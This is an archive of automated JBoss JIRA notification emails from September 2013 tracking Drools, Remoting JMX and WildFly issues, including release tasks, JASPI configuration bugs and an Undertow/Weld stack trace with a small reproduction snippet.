    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805590#comment-12805590 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> changed the Status of [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465] from ON_QA to ASSIGNED
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 14:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 14:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.34027.1379530023598@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805595#comment-12805595 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> made a comment on [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465]

Fixed by https://github.com/droolsjbpm/drools/commit/8f3783dd1
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 14:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 14:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.34030.1379530023714@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805596#comment-12805596 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> changed the Status of [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465] from ASSIGNED to MODIFIED
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 14:51:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 14:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-72) Release Remoting JMX
	1.1.1.Final
In-Reply-To: <JIRA.12500955.1379530173323@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500955.1379530173323@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500955.1379530173323.34035.1379530263514@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created REMJMX-72:
--------------------------------------

             Summary: Release Remoting JMX 1.1.1.Final
                 Key: REMJMX-72
                 URL: https://issues.jboss.org/browse/REMJMX-72
             Project: Remoting JMX
          Issue Type: Task
          Components: Build
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 1.1.1.CR3


Release 1.1.1.Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 15:01:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 15:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-72) Release Remoting JMX
	1.1.1.Final
In-Reply-To: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500955.1379530173000.34053.1379530864770@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-72?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated REMJMX-72:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1007001

    
> Release Remoting JMX 1.1.1.Final
> --------------------------------
>
>                 Key: REMJMX-72
>                 URL: https://issues.jboss.org/browse/REMJMX-72
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Build
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3
>
>
> Release 1.1.1.Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 15:46:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 15:46:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-10) Internationalisation of log
	messages
In-Reply-To: <JIRA.12455938.1325851646000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12455938.1325851646000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12455938.1325851646000.34093.1379533564597@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-10?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated REMJMX-10:
-----------------------------------

    Fix Version/s: 1.1.2.CR1
                       (was: 1.1.1.Final)

    
> Internationalisation of log messages
> ------------------------------------
>
>                 Key: REMJMX-10
>                 URL: https://issues.jboss.org/browse/REMJMX-10
>             Project: Remoting JMX
>          Issue Type: Task
>            Reporter: Darran Lofthouse
>             Fix For: 1.1.2.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 15:46:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 15:46:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-8) Connection state notification
	suppport
In-Reply-To: <JIRA.12455935.1325851513000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12455935.1325851513000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12455935.1325851513000.34097.1379533564738@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-8?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated REMJMX-8:
----------------------------------

    Fix Version/s: 1.1.2.CR1
                       (was: 1.1.1.Final)

    
> Connection state notification suppport
> --------------------------------------
>
>                 Key: REMJMX-8
>                 URL: https://issues.jboss.org/browse/REMJMX-8
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Connection, Notifications
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.2.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 15:46:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 15:46:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-72) Release Remoting JMX
	1.1.1.Final
In-Reply-To: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500955.1379530173000.34083.1379533564140@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-72?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved REMJMX-72.
------------------------------------

    Resolution: Done

    
> Release Remoting JMX 1.1.1.Final
> --------------------------------
>
>                 Key: REMJMX-72
>                 URL: https://issues.jboss.org/browse/REMJMX-72
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Build
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final
>
>
> Release 1.1.1.Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 15:46:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 15:46:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-4) Allow for long method calls
 within the protocol.
In-Reply-To: <JIRA.12455930.1325850649000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12455930.1325850649000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12455930.1325850649000.34100.1379533564904@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-4?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated REMJMX-4:
----------------------------------

    Fix Version/s: 1.1.2.CR1
                       (was: 1.1.1.Final)

    
> Allow for long method calls within the protocol.
> ------------------------------------------------
>
>                 Key: REMJMX-4
>                 URL: https://issues.jboss.org/browse/REMJMX-4
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Connection, RPC
>            Reporter: Darran Lofthouse
>             Fix For: 1.1.2.CR1
>
>
> Methods such as invoke could take a long time to return depending on what the MBean is actually doing.
> This task is to build support for this into the protocol, 2 initial ideas are: -
>  1 - Allow the client to 'ping' the server after a request has timed out and ask the server is this request still running, server side the we can track the correlation IDs of current requests an check it is still in-progress.
>  2 - The server could periodically send a message to the client to say the message is still in progress, the client could cache these and on timing out check if one has been received recently and wait again if one has.
>  3 - Any other suggestions?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 15:46:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 18 Sep 2013 15:46:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-19) Optimise server side
 notifications to eliminate serialization issue re different instances of
 same filter and hand back server side.
In-Reply-To: <JIRA.12456336.1326305121000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12456336.1326305121000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12456336.1326305121000.34091.1379533564504@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-19?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated REMJMX-19:
-----------------------------------

    Fix Version/s: 1.1.2.CR1
                       (was: 1.1.1.Final)

    
> Optimise server side notifications to eliminate serialization issue re different instances of same filter and hand back server side.
> ------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: REMJMX-19
>                 URL: https://issues.jboss.org/browse/REMJMX-19
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Notifications
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.2.CR1
>
>
> The NotificationMBeanSupport class compares these items by identity so when different copies are received server side it breaks these comparisons.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 15:56:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 15:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate JMRuntimeException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.34109.1379534163540@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805608#comment-12805608 ] 

RH Bugzilla Integration commented on REMJMX-68:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001] from ASSIGNED to POST
                
> ClientConnection should propagate JMRuntimeException
> ----------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 15:56:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 15:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-72) Release Remoting JMX
	1.1.1.Final
In-Reply-To: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500955.1379530173000.34112.1379534163683@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-72?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805609#comment-12805609 ] 

RH Bugzilla Integration commented on REMJMX-72:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001] from ASSIGNED to POST
                
> Release Remoting JMX 1.1.1.Final
> --------------------------------
>
>                 Key: REMJMX-72
>                 URL: https://issues.jboss.org/browse/REMJMX-72
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Build
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final
>
>
> Release 1.1.1.Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 15:58:03 2013
From: jira-events at lists.jboss.org (Derek Horton (JIRA))
Date: Wed, 18 Sep 2013 15:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2107) JASPI custom provider fails
 with no explicit error message
In-Reply-To: <JIRA.12500959.1379534253387@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500959.1379534253387@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500959.1379534253387.34117.1379534283410@jira02.app.mwc.hst.phx2.redhat.com>

Derek Horton created WFLY-2107:
----------------------------------

             Summary: JASPI custom provider fails with no explicit error message
                 Key: WFLY-2107
                 URL: https://issues.jboss.org/browse/WFLY-2107
             Project: WildFly
          Issue Type: Bug
          Components: Security
            Reporter: Derek Horton
            Assignee: Darran Lofthouse


The JASPI module loading code does not provide a useful error message.  The error appears to be generated in org.jboss.security.auth.message.config.JBossServerAuthConfig, but its lost before it makes it into the log file.

A user can run into this issue when the auth-module class name (the 'code' attribute) is wrong or when a custom auth-module is used and the class loading dependencies are not setup correctly.

Steps to Reproduce:
1.  Misspell the auth-module class name


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 15:58:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 15:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2107) JASPI custom provider fails
 with no explicit error message
In-Reply-To: <JIRA.12500959.1379534253000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500959.1379534253000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500959.1379534253000.34121.1379534283616@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2107?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2107:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1000182

    
> JASPI custom provider fails with no explicit error message
> ----------------------------------------------------------
>
>                 Key: WFLY-2107
>                 URL: https://issues.jboss.org/browse/WFLY-2107
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>            Reporter: Derek Horton
>            Assignee: Darran Lofthouse
>
> The JASPI module loading code does not provide a useful error message.  The error appears to be generated in org.jboss.security.auth.message.config.JBossServerAuthConfig, but its lost before it makes it into the log file.
> A user can run into this issue when the auth-module class name (the 'code' attribute) is wrong or when a custom auth-module is used and the class loading dependencies are not setup correctly.
> Steps to Reproduce:
> 1.  Misspell the auth-module class name

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 16:00:03 2013
From: jira-events at lists.jboss.org (Derek Horton (JIRA))
Date: Wed, 18 Sep 2013 16:00:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2108) The JASPI auth-module
 configuration does not support a "module" attribute
In-Reply-To: <JIRA.12500960.1379534385450@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500960.1379534385450@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500960.1379534385450.34124.1379534403878@jira02.app.mwc.hst.phx2.redhat.com>

Derek Horton created WFLY-2108:
----------------------------------

             Summary: The JASPI auth-module configuration does not support a "module" attribute 
                 Key: WFLY-2108
                 URL: https://issues.jboss.org/browse/WFLY-2108
             Project: WildFly
          Issue Type: Bug
          Components: Security
            Reporter: Derek Horton
            Assignee: Darran Lofthouse


The JASPI auth-module configuration does not support a "module" attribute.  This means that when using a custom JASPI module you will need to configure the application to depend on the custom module, make the JASPI module a global module or add the JASPI class to the picketbox module.

I think the JASPI auth-module should support a "module" attribute so that a user can specify which module contains a custom JASPI module.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 16:02:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 16:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2108) The JASPI auth-module
 configuration does not support a "module" attribute
In-Reply-To: <JIRA.12500960.1379534385000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500960.1379534385000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500960.1379534385000.34128.1379534523458@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2108?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2108:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1000185

    
> The JASPI auth-module configuration does not support a "module" attribute 
> --------------------------------------------------------------------------
>
>                 Key: WFLY-2108
>                 URL: https://issues.jboss.org/browse/WFLY-2108
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>            Reporter: Derek Horton
>            Assignee: Darran Lofthouse
>
> The JASPI auth-module configuration does not support a "module" attribute.  This means that when using a custom JASPI module you will need to configure the application to depend on the custom module, make the JASPI module a global module or add the JASPI class to the picketbox module.
> I think the JASPI auth-module should support a "module" attribute so that a user can specify which module contains a custom JASPI module.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 17:40:03 2013
From: jira-events at lists.jboss.org (Alessio Soldano (JIRA))
Date: Wed, 18 Sep 2013 17:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2109) Set proper wsconsume and
 wsprovide program name to be used in help messages
In-Reply-To: <JIRA.12500965.1379540321372@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500965.1379540321372@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500965.1379540321372.34229.1379540403500@jira02.app.mwc.hst.phx2.redhat.com>

Alessio Soldano created WFLY-2109:
-------------------------------------

             Summary: Set proper wsconsume and wsprovide program name to be used in help messages
                 Key: WFLY-2109
                 URL: https://issues.jboss.org/browse/WFLY-2109
             Project: WildFly
          Issue Type: Task
          Components: Web Services
            Reporter: Alessio Soldano
            Assignee: Alessio Soldano
             Fix For: 8.0.0.Beta1


The wsconsume.sh/.bat and wsprovide.sh/.bat shell scripts return something like

{noformat}
usage: org.jboss.ws.tools.cmd.WSConsume [options] <wsdl-url>
{noformat}

instead of

{noformat}
usage: wsconsume.sh [options] <wsdl-url>
{noformat}

This is to be fixed by providing proper -Dprogram.name value in the scripts.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 18:01:05 2013
From: jira-events at lists.jboss.org (Leonardo Loch Zanivan (JIRA))
Date: Wed, 18 Sep 2013 18:01:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1533) UT015005: Error invoking
 method requestDestroyed on listener class
In-Reply-To: <JIRA.12494311.1371222584000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494311.1371222584000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494311.1371222584000.34275.1379541665295@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1533?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Leonardo Loch Zanivan updated WFLY-1533:
----------------------------------------

    Attachment: testcase-wildfly-1533.zip


I've a similar problem with WildFly 8 Alpha 4 + CDI.

I get this ugly error while raising a exception in a CDI listener method, in my case disposing the entitymanager.

*Testcase attached

{code}
public void closeEntityManager(@Disposes EntityManager em) {
        throw new PersistenceException(
                "test UT015005: Error invoking method requestDestroyed on listener class");
        //em.getTransaction().commit();
        //if (em.isOpen()) {
        //    em.close();
        //}
    }
{code}
                
> UT015005: Error invoking method requestDestroyed on listener class 
> -------------------------------------------------------------------
>
>                 Key: WFLY-1533
>                 URL: https://issues.jboss.org/browse/WFLY-1533
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha2, 8.0.0.Alpha4
>            Reporter: Juergen Zimmermann
>            Assignee: Jozef Hartinger
>         Attachments: mojarra-2.1.zip, testcase-WFLY-1533.zip, testcase-wildfly-1533.zip
>
>
> I'm using a WildFly snapshot with Undertow 1.0.0.Alpha19 and Weld 2.0.1.Final. I'm getting the following stacktrace:
> 16:55:04,534 ERROR [io.undertow.servlet.request] UT015005: Error invoking method requestDestroyed on listener class org.jboss.weld.servlet.WeldListener: java.lang.IllegalStateException: UT000010: Session not found MDEkG_Aum5OlXUsjh11kGkh9
> 	at io.undertow.server.session.InMemorySessionManager$SessionImpl.getAttribute(InMemorySessionManager.java:221) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.spec.HttpSessionImpl.getAttribute(HttpSessionImpl.java:106) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at org.jboss.weld.context.http.HttpConversationContextImpl.getSessionAttribute(HttpConversationContextImpl.java:25) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.context.http.HttpConversationContextImpl.getSessionAttribute(HttpConversationContextImpl.java:13) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.context.AbstractConversationContext.dissociate(AbstractConversationContext.java:161) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.ConversationContextActivator.disassociateConversationContext(ConversationContextActivator.java:162) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.HttpContextLifecycle.requestDestroyed(HttpContextLifecycle.java:159) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.WeldListener.requestDestroyed(WeldListener.java:91) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at io.undertow.servlet.core.ApplicationListeners.requestDestroyed(ApplicationListeners.java:196) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:159) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:114) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:47) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:90) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:607) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 19:37:04 2013
From: jira-events at lists.jboss.org (A Majewski (JIRA))
Date: Wed, 18 Sep 2013 19:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-267) DroolsExecuteProducer is
 loosing all Camel Exchange headers
In-Reply-To: <JIRA.12500970.1379547360622@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500970.1379547360622@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500970.1379547360622.34297.1379547424274@jira02.app.mwc.hst.phx2.redhat.com>

A Majewski created DROOLS-267:
---------------------------------

             Summary: DroolsExecuteProducer is loosing all Camel Exchange headers
                 Key: DROOLS-267
                 URL: https://issues.jboss.org/browse/DROOLS-267
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions:  6.0.0.CR3, 5.5.0.Final,  6.0.0.CR4
            Reporter: A Majewski
